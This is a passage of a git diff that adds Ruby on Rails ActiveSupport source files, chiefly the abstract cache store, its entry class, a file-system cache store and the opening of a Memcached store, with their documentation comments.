+    # long; you could wrap it in a benchmark block.
+    #
+    #  <% benchmark 'Process data files' do %>
+    #    <%= expensive_files_operation %>
+    #  <% end %>
+    #
+    # That would add something like "Process data files (345.2ms)" to the log,
+    # which you can then use to compare timings when optimizing your code.
+    #
+    # You may give an optional logger level (<tt>:debug</tt>, <tt>:info</tt>,
+    # <tt>:warn</tt>, <tt>:error</tt>) as the <tt>:level</tt> option. The
+    # default logger level value is <tt>:info</tt>.
+    #
+    #  <% benchmark 'Low-level files', level: :debug do %>
+    #    <%= lowlevel_files_operation %>
+    #  <% end %>
+    #
+    # Finally, you can pass true as the third argument to silence all log
+    # activity (other than the timing information) from inside the block. This
+    # is great for boiling down a noisy block to just a single statement that
+    # produces one log line:
+    #
+    #  <% benchmark 'Process data files', level: :info, silence: true do %>
+    #    <%= expensive_and_chatty_files_operation %>
+    #  <% end %>
+    def benchmark(message = "Benchmarking", options = {})
+      if logger
+        options.assert_valid_keys(:level, :silence)
+        options[:level] ||= :info
+
+        result = nil
+        ms = Benchmark.ms { result = options[:silence] ? logger.silence { yield } : yield }
+        logger.send(options[:level], "%s (%.1fms)" % [ message, ms ])
+        result
+      else
+        yield
+      end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/builder.rb b/activesupport/lib/active_support/builder.rb
new file mode 100644
index 0000000000..3fa7e6b26d
--- /dev/null
+++ b/activesupport/lib/active_support/builder.rb
@@ -0,0 +1,8 @@
+# frozen_string_literal: true
+
+begin
+  require "builder"
+rescue LoadError => e
+  $stderr.puts "You don't have builder installed in your application. Please add it to your Gemfile and run bundle install"
+  raise e
+end
diff --git a/activesupport/lib/active_support/cache.rb b/activesupport/lib/active_support/cache.rb
new file mode 100644
index 0000000000..49d8965cb1
--- /dev/null
+++ b/activesupport/lib/active_support/cache.rb
@@ -0,0 +1,759 @@
+# frozen_string_literal: true
+
+require "zlib"
+require_relative "core_ext/array/extract_options"
+require_relative "core_ext/array/wrap"
+require_relative "core_ext/module/attribute_accessors"
+require_relative "core_ext/numeric/bytes"
+require_relative "core_ext/numeric/time"
+require_relative "core_ext/object/to_param"
+require_relative "core_ext/string/inflections"
+
+module ActiveSupport
+  # See ActiveSupport::Cache::Store for documentation.
+  module Cache
+    autoload :FileStore,     "active_support/cache/file_store"
+    autoload :MemoryStore,   "active_support/cache/memory_store"
+    autoload :MemCacheStore, "active_support/cache/mem_cache_store"
+    autoload :NullStore,     "active_support/cache/null_store"
+
+    # These options mean something to all cache implementations. Individual cache
+    # implementations may support additional options.
+    UNIVERSAL_OPTIONS = [:namespace, :compress, :compress_threshold, :expires_in, :race_condition_ttl]
+
+    module Strategy
+      autoload :LocalCache, "active_support/cache/strategy/local_cache"
+    end
+
+    class << self
+      # Creates a new Store object according to the given options.
+      #
+      # If no arguments are passed to this method, then a new
+      # ActiveSupport::Cache::MemoryStore object will be returned.
+      #
+      # If you pass a Symbol as the first argument, then a corresponding cache
+      # store class under the ActiveSupport::Cache namespace will be created.
+      # For example:
+      #
+      #   ActiveSupport::Cache.lookup_store(:memory_store)
+      #   # => returns a new ActiveSupport::Cache::MemoryStore object
+      #
+      #   ActiveSupport::Cache.lookup_store(:mem_cache_store)
+      #   # => returns a new ActiveSupport::Cache::MemCacheStore object
+      #
+      # Any additional arguments will be passed to the corresponding cache store
+      # class's constructor:
+      #
+      #   ActiveSupport::Cache.lookup_store(:file_store, '/tmp/cache')
+      #   # => same as: ActiveSupport::Cache::FileStore.new('/tmp/cache')
+      #
+      # If the first argument is not a Symbol, then it will simply be returned:
+      #
+      #   ActiveSupport::Cache.lookup_store(MyOwnCacheStore.new)
+      #   # => returns MyOwnCacheStore.new
+      def lookup_store(*store_option)
+        store, *parameters = *Array.wrap(store_option).flatten
+
+        case store
+        when Symbol
+          retrieve_store_class(store).new(*parameters)
+        when nil
+          ActiveSupport::Cache::MemoryStore.new
+        else
+          store
+        end
+      end
+
+      # Expands out the +key+ argument into a key that can be used for the
+      # cache store. Optionally accepts a namespace, and all keys will be
+      # scoped within that namespace.
+      #
+      # If the +key+ argument provided is an array, or responds to +to_a+, then
+      # each of elements in the array will be turned into parameters/keys and
+      # concatenated into a single key. For example:
+      #
+      #   ActiveSupport::Cache.expand_cache_key([:foo, :bar])               # => "foo/bar"
+      #   ActiveSupport::Cache.expand_cache_key([:foo, :bar], "namespace")  # => "namespace/foo/bar"
+      #
+      # The +key+ argument can also respond to +cache_key+ or +to_param+.
+      def expand_cache_key(key, namespace = nil)
+        expanded_cache_key = (namespace ? "#{namespace}/" : "").dup
+
+        if prefix = ENV["RAILS_CACHE_ID"] || ENV["RAILS_APP_VERSION"]
+          expanded_cache_key << "#{prefix}/"
+        end
+
+        expanded_cache_key << retrieve_cache_key(key)
+        expanded_cache_key
+      end
+
+      private
+        def retrieve_cache_key(key)
+          case
+          when key.respond_to?(:cache_key_with_version) then key.cache_key_with_version
+          when key.respond_to?(:cache_key)              then key.cache_key
+          when key.is_a?(Array)                         then key.map { |element| retrieve_cache_key(element) }.to_param
+          when key.respond_to?(:to_a)                   then retrieve_cache_key(key.to_a)
+          else                                               key.to_param
+          end.to_s
+        end
+
+        # Obtains the specified cache store class, given the name of the +store+.
+        # Raises an error when the store class cannot be found.
+        def retrieve_store_class(store)
+          # require_relative cannot be used here because the class might be
+          # provided by another gem, like redis-activesupport for example.
+          require "active_support/cache/#{store}"
+        rescue LoadError => e
+          raise "Could not find cache store adapter for #{store} (#{e})"
+        else
+          ActiveSupport::Cache.const_get(store.to_s.camelize)
+        end
+    end
+
+    # An abstract cache store class. There are multiple cache store
+    # implementations, each having its own additional features. See the classes
+    # under the ActiveSupport::Cache module, e.g.
+    # ActiveSupport::Cache::MemCacheStore. MemCacheStore is currently the most
+    # popular cache store for large production websites.
+    #
+    # Some implementations may not support all methods beyond the basic cache
+    # methods of +fetch+, +write+, +read+, +exist?+, and +delete+.
+    #
+    # ActiveSupport::Cache::Store can store any serializable Ruby object.
+    #
+    #   cache = ActiveSupport::Cache::MemoryStore.new
+    #
+    #   cache.read('city')   # => nil
+    #   cache.write('city', "Duckburgh")
+    #   cache.read('city')   # => "Duckburgh"
+    #
+    # Keys are always translated into Strings and are case sensitive. When an
+    # object is specified as a key and has a +cache_key+ method defined, this
+    # method will be called to define the key.  Otherwise, the +to_param+
+    # method will be called. Hashes and Arrays can also be used as keys. The
+    # elements will be delimited by slashes, and the elements within a Hash
+    # will be sorted by key so they are consistent.
+    #
+    #   cache.read('city') == cache.read(:city)   # => true
+    #
+    # Nil values can be cached.
+    #
+    # If your cache is on a shared infrastructure, you can define a namespace
+    # for your cache entries. If a namespace is defined, it will be prefixed on
+    # to every key. The namespace can be either a static value or a Proc. If it
+    # is a Proc, it will be invoked when each key is evaluated so that you can
+    # use application logic to invalidate keys.
+    #
+    #   cache.namespace = -> { @last_mod_time }  # Set the namespace to a variable
+    #   @last_mod_time = Time.now  # Invalidate the entire cache by changing namespace
+    #
+    # Caches can also store values in a compressed format to save space and
+    # reduce time spent sending data. Since there is overhead, values must be
+    # large enough to warrant compression. To turn on compression either pass
+    # <tt>compress: true</tt> in the initializer or as an option to +fetch+
+    # or +write+. To specify the threshold at which to compress values, set the
+    # <tt>:compress_threshold</tt> option. The default threshold is 16K.
+    class Store
+      cattr_accessor :logger, instance_writer: true
+
+      attr_reader :silence, :options
+      alias :silence? :silence
+
+      # Creates a new cache. The options will be passed to any write method calls
+      # except for <tt>:namespace</tt> which can be used to set the global
+      # namespace for the cache.
+      def initialize(options = nil)
+        @options = options ? options.dup : {}
+      end
+
+      # Silences the logger.
+      def silence!
+        @silence = true
+        self
+      end
+
+      # Silences the logger within a block.
+      def mute
+        previous_silence, @silence = defined?(@silence) && @silence, true
+        yield
+      ensure
+        @silence = previous_silence
+      end
+
+      # Fetches data from the cache, using the given key. If there is data in
+      # the cache with the given key, then that data is returned.
+      #
+      # If there is no such data in the cache (a cache miss), then +nil+ will be
+      # returned. However, if a block has been passed, that block will be passed
+      # the key and executed in the event of a cache miss. The return value of the
+      # block will be written to the cache under the given cache key, and that
+      # return value will be returned.
+      #
+      #   cache.write('today', 'Monday')
+      #   cache.fetch('today')  # => "Monday"
+      #
+      #   cache.fetch('city')   # => nil
+      #   cache.fetch('city') do
+      #     'Duckburgh'
+      #   end
+      #   cache.fetch('city')   # => "Duckburgh"
+      #
+      # You may also specify additional options via the +options+ argument.
+      # Setting <tt>force: true</tt> forces a cache "miss," meaning we treat
+      # the cache value as missing even if it's present. Passing a block is
+      # required when +force+ is true so this always results in a cache write.
+      #
+      #   cache.write('today', 'Monday')
+      #   cache.fetch('today', force: true) { 'Tuesday' } # => 'Tuesday'
+      #   cache.fetch('today', force: true) # => ArgumentError
+      #
+      # The +:force+ option is useful when you're calling some other method to
+      # ask whether you should force a cache write. Otherwise, it's clearer to
+      # just call <tt>Cache#write</tt>.
+      #
+      # Setting <tt>:compress</tt> will store a large cache entry set by the call
+      # in a compressed format.
+      #
+      # Setting <tt>:expires_in</tt> will set an expiration time on the cache.
+      # All caches support auto-expiring content after a specified number of
+      # seconds. This value can be specified as an option to the constructor
+      # (in which case all entries will be affected), or it can be supplied to
+      # the +fetch+ or +write+ method to effect just one entry.
+      #
+      #   cache = ActiveSupport::Cache::MemoryStore.new(expires_in: 5.minutes)
+      #   cache.write(key, value, expires_in: 1.minute) # Set a lower value for one entry
+      #
+      # Setting <tt>:version</tt> verifies the cache stored under <tt>name</tt>
+      # is of the same version. nil is returned on mismatches despite contents.
+      # This feature is used to support recyclable cache keys.
+      #
+      # Setting <tt>:race_condition_ttl</tt> is very useful in situations where
+      # a cache entry is used very frequently and is under heavy load. If a
+      # cache expires and due to heavy load several different processes will try
+      # to read data natively and then they all will try to write to cache. To
+      # avoid that case the first process to find an expired cache entry will
+      # bump the cache expiration time by the value set in <tt>:race_condition_ttl</tt>.
+      # Yes, this process is extending the time for a stale value by another few
+      # seconds. Because of extended life of the previous cache, other processes
+      # will continue to use slightly stale data for a just a bit longer. In the
+      # meantime that first process will go ahead and will write into cache the
+      # new value. After that all the processes will start getting the new value.
+      # The key is to keep <tt>:race_condition_ttl</tt> small.
+      #
+      # If the process regenerating the entry errors out, the entry will be
+      # regenerated after the specified number of seconds. Also note that the
+      # life of stale cache is extended only if it expired recently. Otherwise
+      # a new value is generated and <tt>:race_condition_ttl</tt> does not play
+      # any role.
+      #
+      #   # Set all values to expire after one minute.
+      #   cache = ActiveSupport::Cache::MemoryStore.new(expires_in: 1.minute)
+      #
+      #   cache.write('foo', 'original value')
+      #   val_1 = nil
+      #   val_2 = nil
+      #   sleep 60
+      #
+      #   Thread.new do
+      #     val_1 = cache.fetch('foo', race_condition_ttl: 10.seconds) do
+      #       sleep 1
+      #       'new value 1'
+      #     end
+      #   end
+      #
+      #   Thread.new do
+      #     val_2 = cache.fetch('foo', race_condition_ttl: 10.seconds) do
+      #       'new value 2'
+      #     end
+      #   end
+      #
+      #   cache.fetch('foo') # => "original value"
+      #   sleep 10 # First thread extended the life of cache by another 10 seconds
+      #   cache.fetch('foo') # => "new value 1"
+      #   val_1 # => "new value 1"
+      #   val_2 # => "original value"
+      #
+      # Other options will be handled by the specific cache store implementation.
+      # Internally, #fetch calls #read_entry, and calls #write_entry on a cache
+      # miss. +options+ will be passed to the #read and #write calls.
+      #
+      # For example, MemCacheStore's #write method supports the +:raw+
+      # option, which tells the memcached server to store all values as strings.
+      # We can use this option with #fetch too:
+      #
+      #   cache = ActiveSupport::Cache::MemCacheStore.new
+      #   cache.fetch("foo", force: true, raw: true) do
+      #     :bar
+      #   end
+      #   cache.fetch('foo') # => "bar"
+      def fetch(name, options = nil)
+        if block_given?
+          options = merged_options(options)
+          key = normalize_key(name, options)
+
+          entry = nil
+          instrument(:read, name, options) do |payload|
+            cached_entry = read_entry(key, options) unless options[:force]
+            entry = handle_expired_entry(cached_entry, key, options)
+            entry = nil if entry && entry.mismatched?(normalize_version(name, options))
+            payload[:super_operation] = :fetch if payload
+            payload[:hit] = !!entry if payload
+          end
+
+          if entry
+            get_entry_value(entry, name, options)
+          else
+            save_block_result_to_cache(name, options) { |_name| yield _name }
+          end
+        elsif options && options[:force]
+          raise ArgumentError, "Missing block: Calling `Cache#fetch` with `force: true` requires a block."
+        else
+          read(name, options)
+        end
+      end
+
+      # Reads data from the cache, using the given key. If there is data in
+      # the cache with the given key, then that data is returned. Otherwise,
+      # +nil+ is returned.
+      #
+      # Note, if data was written with the <tt>:expires_in<tt> or <tt>:version</tt> options,
+      # both of these conditions are applied before the data is returned.
+      #
+      # Options are passed to the underlying cache implementation.
+      def read(name, options = nil)
+        options = merged_options(options)
+        key     = normalize_key(name, options)
+        version = normalize_version(name, options)
+
+        instrument(:read, name, options) do |payload|
+          entry = read_entry(key, options)
+
+          if entry
+            if entry.expired?
+              delete_entry(key, options)
+              payload[:hit] = false if payload
+              nil
+            elsif entry.mismatched?(version)
+              payload[:hit] = false if payload
+              nil
+            else
+              payload[:hit] = true if payload
+              entry.value
+            end
+          else
+            payload[:hit] = false if payload
+            nil
+          end
+        end
+      end
+
+      # Reads multiple values at once from the cache. Options can be passed
+      # in the last argument.
+      #
+      # Some cache implementation may optimize this method.
+      #
+      # Returns a hash mapping the names provided to the values found.
+      def read_multi(*names)
+        options = names.extract_options!
+        options = merged_options(options)
+
+        results = {}
+        names.each do |name|
+          key     = normalize_key(name, options)
+          version = normalize_version(name, options)
+          entry   = read_entry(key, options)
+
+          if entry
+            if entry.expired?
+              delete_entry(key, options)
+            elsif entry.mismatched?(version)
+              # Skip mismatched versions
+            else
+              results[name] = entry.value
+            end
+          end
+        end
+        results
+      end
+
+      # Cache Storage API to write multiple values at once.
+      def write_multi(hash, options = nil)
+        options = merged_options(options)
+
+        instrument :write_multi, hash, options do |payload|
+          entries = hash.each_with_object({}) do |(name, value), memo|
+            memo[normalize_key(name, options)] = Entry.new(value, options.merge(version: normalize_version(name, options)))
+          end
+
+          write_multi_entries entries, options
+        end
+      end
+
+      # Fetches data from the cache, using the given keys. If there is data in
+      # the cache with the given keys, then that data is returned. Otherwise,
+      # the supplied block is called for each key for which there was no data,
+      # and the result will be written to the cache and returned.
+      # Therefore, you need to pass a block that returns the data to be written
+      # to the cache. If you do not want to write the cache when the cache is
+      # not found, use #read_multi.
+      #
+      # Options are passed to the underlying cache implementation.
+      #
+      # Returns a hash with the data for each of the names. For example:
+      #
+      #   cache.write("bim", "bam")
+      #   cache.fetch_multi("bim", "unknown_key") do |key|
+      #     "Fallback value for key: #{key}"
+      #   end
+      #   # => { "bim" => "bam",
+      #   #      "unknown_key" => "Fallback value for key: unknown_key" }
+      #
+      def fetch_multi(*names)
+        raise ArgumentError, "Missing block: `Cache#fetch_multi` requires a block." unless block_given?
+
+        options = names.extract_options!
+        options = merged_options(options)
+
+        read_multi(*names, options).tap do |results|
+          writes = {}
+
+          (names - results.keys).each do |name|
+            results[name] = writes[name] = yield(name)
+          end
+
+          write_multi writes, options
+        end
+      end
+
+      # Writes the value to the cache, with the key.
+      #
+      # Options are passed to the underlying cache implementation.
+      def write(name, value, options = nil)
+        options = merged_options(options)
+
+        instrument(:write, name, options) do
+          entry = Entry.new(value, options.merge(version: normalize_version(name, options)))
+          write_entry(normalize_key(name, options), entry, options)
+        end
+      end
+
+      # Deletes an entry in the cache. Returns +true+ if an entry is deleted.
+      #
+      # Options are passed to the underlying cache implementation.
+      def delete(name, options = nil)
+        options = merged_options(options)
+
+        instrument(:delete, name) do
+          delete_entry(normalize_key(name, options), options)
+        end
+      end
+
+      # Returns +true+ if the cache contains an entry for the given key.
+      #
+      # Options are passed to the underlying cache implementation.
+      def exist?(name, options = nil)
+        options = merged_options(options)
+
+        instrument(:exist?, name) do
+          entry = read_entry(normalize_key(name, options), options)
+          (entry && !entry.expired? && !entry.mismatched?(normalize_version(name, options))) || false
+        end
+      end
+
+      # Deletes all entries with keys matching the pattern.
+      #
+      # Options are passed to the underlying cache implementation.
+      #
+      # All implementations may not support this method.
+      def delete_matched(matcher, options = nil)
+        raise NotImplementedError.new("#{self.class.name} does not support delete_matched")
+      end
+
+      # Increments an integer value in the cache.
+      #
+      # Options are passed to the underlying cache implementation.
+      #
+      # All implementations may not support this method.
+      def increment(name, amount = 1, options = nil)
+        raise NotImplementedError.new("#{self.class.name} does not support increment")
+      end
+
+      # Decrements an integer value in the cache.
+      #
+      # Options are passed to the underlying cache implementation.
+      #
+      # All implementations may not support this method.
+      def decrement(name, amount = 1, options = nil)
+        raise NotImplementedError.new("#{self.class.name} does not support decrement")
+      end
+
+      # Cleanups the cache by removing expired entries.
+      #
+      # Options are passed to the underlying cache implementation.
+      #
+      # All implementations may not support this method.
+      def cleanup(options = nil)
+        raise NotImplementedError.new("#{self.class.name} does not support cleanup")
+      end
+
+      # Clears the entire cache. Be careful with this method since it could
+      # affect other processes if shared cache is being used.
+      #
+      # The options hash is passed to the underlying cache implementation.
+      #
+      # All implementations may not support this method.
+      def clear(options = nil)
+        raise NotImplementedError.new("#{self.class.name} does not support clear")
+      end
+
+      private
+        # Adds the namespace defined in the options to a pattern designed to
+        # match keys. Implementations that support delete_matched should call
+        # this method to translate a pattern that matches names into one that
+        # matches namespaced keys.
+        def key_matcher(pattern, options) # :doc:
+          prefix = options[:namespace].is_a?(Proc) ? options[:namespace].call : options[:namespace]
+          if prefix
+            source = pattern.source
+            if source.start_with?("^")
+              source = source[1, source.length]
+            else
+              source = ".*#{source[0, source.length]}"
+            end
+            Regexp.new("^#{Regexp.escape(prefix)}:#{source}", pattern.options)
+          else
+            pattern
+          end
+        end
+
+        # Reads an entry from the cache implementation. Subclasses must implement
+        # this method.
+        def read_entry(key, options)
+          raise NotImplementedError.new
+        end
+
+        # Writes an entry to the cache implementation. Subclasses must implement
+        # this method.
+        def write_entry(key, entry, options)
+          raise NotImplementedError.new
+        end
+
+        # Writes multiple entries to the cache implementation. Subclasses MAY
+        # implement this method.
+        def write_multi_entries(hash, options)
+          hash.each do |key, entry|
+            write_entry key, entry, options
+          end
+        end
+
+        # Deletes an entry from the cache implementation. Subclasses must
+        # implement this method.
+        def delete_entry(key, options)
+          raise NotImplementedError.new
+        end
+
+        # Merges the default options with ones specific to a method call.
+        def merged_options(call_options)
+          if call_options
+            options.merge(call_options)
+          else
+            options.dup
+          end
+        end
+
+        # Prefixes a key with the namespace. Namespace and key will be delimited
+        # with a colon.
+        def normalize_key(key, options)
+          key = expanded_key(key)
+          namespace = options[:namespace] if options
+          prefix = namespace.is_a?(Proc) ? namespace.call : namespace
+          key = "#{prefix}:#{key}" if prefix
+          key
+        end
+
+        # Expands key to be a consistent string value. Invokes +cache_key+ if
+        # object responds to +cache_key+. Otherwise, +to_param+ method will be
+        # called. If the key is a Hash, then keys will be sorted alphabetically.
+        def expanded_key(key)
+          return key.cache_key.to_s if key.respond_to?(:cache_key)
+
+          case key
+          when Array
+            if key.size > 1
+              key = key.collect { |element| expanded_key(element) }
+            else
+              key = key.first
+            end
+          when Hash
+            key = key.sort_by { |k, _| k.to_s }.collect { |k, v| "#{k}=#{v}" }
+          end
+
+          key.to_param
+        end
+
+        def normalize_version(key, options = nil)
+          (options && options[:version].try(:to_param)) || expanded_version(key)
+        end
+
+        def expanded_version(key)
+          case
+          when key.respond_to?(:cache_version) then key.cache_version.to_param
+          when key.is_a?(Array)                then key.map { |element| expanded_version(element) }.compact.to_param
+          when key.respond_to?(:to_a)          then expanded_version(key.to_a)
+          end
+        end
+
+        def instrument(operation, key, options = nil)
+          log { "Cache #{operation}: #{normalize_key(key, options)}#{options.blank? ? "" : " (#{options.inspect})"}" }
+
+          payload = { key: key }
+          payload.merge!(options) if options.is_a?(Hash)
+          ActiveSupport::Notifications.instrument("cache_#{operation}.active_support", payload) { yield(payload) }
+        end
+
+        def log
+          return unless logger && logger.debug? && !silence?
+          logger.debug(yield)
+        end
+
+        def handle_expired_entry(entry, key, options)
+          if entry && entry.expired?
+            race_ttl = options[:race_condition_ttl].to_i
+            if (race_ttl > 0) && (Time.now.to_f - entry.expires_at <= race_ttl)
+              # When an entry has a positive :race_condition_ttl defined, put the stale entry back into the cache
+              # for a brief period while the entry is being recalculated.
+              entry.expires_at = Time.now + race_ttl
+              write_entry(key, entry, expires_in: race_ttl * 2)
+            else
+              delete_entry(key, options)
+            end
+            entry = nil
+          end
+          entry
+        end
+
+        def get_entry_value(entry, name, options)
+          instrument(:fetch_hit, name, options) {}
+          entry.value
+        end
+
+        def save_block_result_to_cache(name, options)
+          result = instrument(:generate, name, options) do
+            yield(name)
+          end
+
+          write(name, result, options)
+          result
+        end
+    end
+
+    # This class is used to represent cache entries. Cache entries have a value, an optional
+    # expiration time, and an optional version. The expiration time is used to support the :race_condition_ttl option
+    # on the cache. The version is used to support the :version option on the cache for rejecting
+    # mismatches.
+    #
+    # Since cache entries in most instances will be serialized, the internals of this class are highly optimized
+    # using short instance variable names that are lazily defined.
+    class Entry # :nodoc:
+      attr_reader :version
+
+      DEFAULT_COMPRESS_LIMIT = 16.kilobytes
+
+      # Creates a new cache entry for the specified value. Options supported are
+      # +:compress+, +:compress_threshold+, and +:expires_in+.
+      def initialize(value, options = {})
+        if should_compress?(value, options)
+          @value = compress(value)
+          @compressed = true
+        else
+          @value = value
+        end
+
+        @version    = options[:version]
+        @created_at = Time.now.to_f
+        @expires_in = options[:expires_in]
+        @expires_in = @expires_in.to_f if @expires_in
+      end
+
+      def value
+        compressed? ? uncompress(@value) : @value
+      end
+
+      def mismatched?(version)
+        @version && version && @version != version
+      end
+
+      # Checks if the entry is expired. The +expires_in+ parameter can override
+      # the value set when the entry was created.
+      def expired?
+        @expires_in && @created_at + @expires_in <= Time.now.to_f
+      end
+
+      def expires_at
+        @expires_in ? @created_at + @expires_in : nil
+      end
+
+      def expires_at=(value)
+        if value
+          @expires_in = value.to_f - @created_at
+        else
+          @expires_in = nil
+        end
+      end
+
+      # Returns the size of the cached value. This could be less than
+      # <tt>value.size</tt> if the data is compressed.
+      def size
+        if defined?(@s)
+          @s
+        else
+          case value
+          when NilClass
+            0
+          when String
+            @value.bytesize
+          else
+            @s = Marshal.dump(@value).bytesize
+          end
+        end
+      end
+
+      # Duplicates the value in a class. This is used by cache implementations that don't natively
+      # serialize entries to protect against accidental cache modifications.
+      def dup_value!
+        if @value && !compressed? && !(@value.is_a?(Numeric) || @value == true || @value == false)
+          if @value.is_a?(String)
+            @value = @value.dup
+          else
+            @value = Marshal.load(Marshal.dump(@value))
+          end
+        end
+      end
+
+      private
+        def should_compress?(value, options)
+          if value && options[:compress]
+            compress_threshold = options[:compress_threshold] || DEFAULT_COMPRESS_LIMIT
+            serialized_value_size = (value.is_a?(String) ? value : Marshal.dump(value)).bytesize
+
+            return true if serialized_value_size >= compress_threshold
+          end
+
+          false
+        end
+
+        def compressed?
+          defined?(@compressed) ? @compressed : false
+        end
+
+        def compress(value)
+          Zlib::Deflate.deflate(Marshal.dump(value))
+        end
+
+        def uncompress(value)
+          Marshal.load(Zlib::Inflate.inflate(value))
+        end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/cache/file_store.rb b/activesupport/lib/active_support/cache/file_store.rb
new file mode 100644
index 0000000000..28df2c066e
--- /dev/null
+++ b/activesupport/lib/active_support/cache/file_store.rb
@@ -0,0 +1,197 @@
+# frozen_string_literal: true
+
+require_relative "../core_ext/marshal"
+require_relative "../core_ext/file/atomic"
+require_relative "../core_ext/string/conversions"
+require "uri/common"
+
+module ActiveSupport
+  module Cache
+    # A cache store implementation which stores everything on the filesystem.
+    #
+    # FileStore implements the Strategy::LocalCache strategy which implements
+    # an in-memory cache inside of a block.
+    class FileStore < Store
+      prepend Strategy::LocalCache
+      attr_reader :cache_path
+
+      DIR_FORMATTER = "%03X"
+      FILENAME_MAX_SIZE = 228 # max filename size on file system is 255, minus room for timestamp and random characters appended by Tempfile (used by atomic write)
+      FILEPATH_MAX_SIZE = 900 # max is 1024, plus some room
+      EXCLUDED_DIRS = [".", ".."].freeze
+      GITKEEP_FILES = [".gitkeep", ".keep"].freeze
+
+      def initialize(cache_path, options = nil)
+        super(options)
+        @cache_path = cache_path.to_s
+      end
+
+      # Deletes all items from the cache. In this case it deletes all the entries in the specified
+      # file store directory except for .keep or .gitkeep. Be careful which directory is specified in your
+      # config file when using +FileStore+ because everything in that directory will be deleted.
+      def clear(options = nil)
+        root_dirs = exclude_from(cache_path, EXCLUDED_DIRS + GITKEEP_FILES)
+        FileUtils.rm_r(root_dirs.collect { |f| File.join(cache_path, f) })
+      rescue Errno::ENOENT
+      end
+
+      # Preemptively iterates through all stored keys and removes the ones which have expired.
+      def cleanup(options = nil)
+        options = merged_options(options)
+        search_dir(cache_path) do |fname|
+          key = file_path_key(fname)
+          entry = read_entry(key, options)
+          delete_entry(key, options) if entry && entry.expired?
+        end
+      end
+
+      # Increments an already existing integer value that is stored in the cache.
+      # If the key is not found nothing is done.
+      def increment(name, amount = 1, options = nil)
+        modify_value(name, amount, options)
+      end
+
+      # Decrements an already existing integer value that is stored in the cache.
+      # If the key is not found nothing is done.
+      def decrement(name, amount = 1, options = nil)
+        modify_value(name, -amount, options)
+      end
+
+      def delete_matched(matcher, options = nil)
+        options = merged_options(options)
+        instrument(:delete_matched, matcher.inspect) do
+          matcher = key_matcher(matcher, options)
+          search_dir(cache_path) do |path|
+            key = file_path_key(path)
+            delete_entry(path, options) if key.match(matcher)
+          end
+        end
+      end
+
+      private
+
+        def read_entry(key, options)
+          if File.exist?(key)
+            File.open(key) { |f| Marshal.load(f) }
+          end
+        rescue => e
+          logger.error("FileStoreError (#{e}): #{e.message}") if logger
+          nil
+        end
+
+        def write_entry(key, entry, options)
+          return false if options[:unless_exist] && File.exist?(key)
+          ensure_cache_path(File.dirname(key))
+          File.atomic_write(key, cache_path) { |f| Marshal.dump(entry, f) }
+          true
+        end
+
+        def delete_entry(key, options)
+          if File.exist?(key)
+            begin
+              File.delete(key)
+              delete_empty_directories(File.dirname(key))
+              true
+            rescue => e
+              # Just in case the error was caused by another process deleting the file first.
+              raise e if File.exist?(key)
+              false
+            end
+          end
+        end
+
+        # Lock a file for a block so only one process can modify it at a time.
+        def lock_file(file_name, &block)
+          if File.exist?(file_name)
+            File.open(file_name, "r+") do |f|
+              begin
+                f.flock File::LOCK_EX
+                yield
+              ensure
+                f.flock File::LOCK_UN
+              end
+            end
+          else
+            yield
+          end
+        end
+
+        # Translate a key into a file path.
+        def normalize_key(key, options)
+          key = super
+          fname = URI.encode_www_form_component(key)
+
+          if fname.size > FILEPATH_MAX_SIZE
+            fname = Digest::MD5.hexdigest(key)
+          end
+
+          hash = Zlib.adler32(fname)
+          hash, dir_1 = hash.divmod(0x1000)
+          dir_2 = hash.modulo(0x1000)
+          fname_paths = []
+
+          # Make sure file name doesn't exceed file system limits.
+          begin
+            fname_paths << fname[0, FILENAME_MAX_SIZE]
+            fname = fname[FILENAME_MAX_SIZE..-1]
+          end until fname.blank?
+
+          File.join(cache_path, DIR_FORMATTER % dir_1, DIR_FORMATTER % dir_2, *fname_paths)
+        end
+
+        # Translate a file path into a key.
+        def file_path_key(path)
+          fname = path[cache_path.to_s.size..-1].split(File::SEPARATOR, 4).last
+          URI.decode_www_form_component(fname, Encoding::UTF_8)
+        end
+
+        # Delete empty directories in the cache.
+        def delete_empty_directories(dir)
+          return if File.realpath(dir) == File.realpath(cache_path)
+          if exclude_from(dir, EXCLUDED_DIRS).empty?
+            Dir.delete(dir) rescue nil
+            delete_empty_directories(File.dirname(dir))
+          end
+        end
+
+        # Make sure a file path's directories exist.
+        def ensure_cache_path(path)
+          FileUtils.makedirs(path) unless File.exist?(path)
+        end
+
+        def search_dir(dir, &callback)
+          return if !File.exist?(dir)
+          Dir.foreach(dir) do |d|
+            next if EXCLUDED_DIRS.include?(d)
+            name = File.join(dir, d)
+            if File.directory?(name)
+              search_dir(name, &callback)
+            else
+              callback.call name
+            end
+          end
+        end
+
+        # Modifies the amount of an already existing integer value that is stored in the cache.
+        # If the key is not found nothing is done.
+        def modify_value(name, amount, options)
+          file_name = normalize_key(name, options)
+
+          lock_file(file_name) do
+            options = merged_options(options)
+
+            if num = read(name, options)
+              num = num.to_i + amount
+              write(name, num, options)
+              num
+            end
+          end
+        end
+
+        # Exclude entries from source directory
+        def exclude_from(source, excludes)
+          Dir.entries(source).reject { |f| excludes.include?(f) }
+        end
+    end
+  end
+end
diff --git a/activesupport/lib/active_support/cache/mem_cache_store.rb b/activesupport/lib/active_support/cache/mem_cache_store.rb
new file mode 100644
index 0000000000..73924aaaf9
--- /dev/null
+++ b/activesupport/lib/active_support/cache/mem_cache_store.rb
@@ -0,0 +1,205 @@
+# frozen_string_literal: true
+
+begin
+  require "dalli"
+rescue LoadError => e
+  $stderr.puts "You don't have dalli installed in your application. Please add it to your Gemfile and run bundle install"
+  raise e
+end
+
+require "digest/md5"
+require_relative "../core_ext/marshal"
+require_relative "../core_ext/array/extract_options"
+
+module ActiveSupport
+  module Cache
+    # A cache store implementation which stores data in Memcached:
+    # http://memcached.org/
+    #
+    # This is currently the most popular cache store for production websites.
+    #
+    # Special features:
+    # - Clustering and load balancing. One can specify multiple memcached servers,
+    #   and MemCacheStore will load balance between all available servers. If a
+    #   server goes down, then MemCacheStore will ignore it until it comes back up.
+    #
+    # MemCacheStore implements the Strategy::LocalCache strategy which implements
+    # an in-memory cache inside of a block.
+    class MemCacheStore < Store
+      # Provide support for raw values in the local cache strategy.
+      module LocalCacheWithRaw # :nodoc:
+        private
+          def read_entry(key, options)
+            entry = super
+            if options[:raw] && local_cache && entry
+              entry = deserialize_entry(entry.value)
+            end
+            entry
+          end
+
+          def write_entry(key, entry, options)
+            if options[:raw] && local_cache
+              raw_entry = Entry.new(entry.value.to_s)
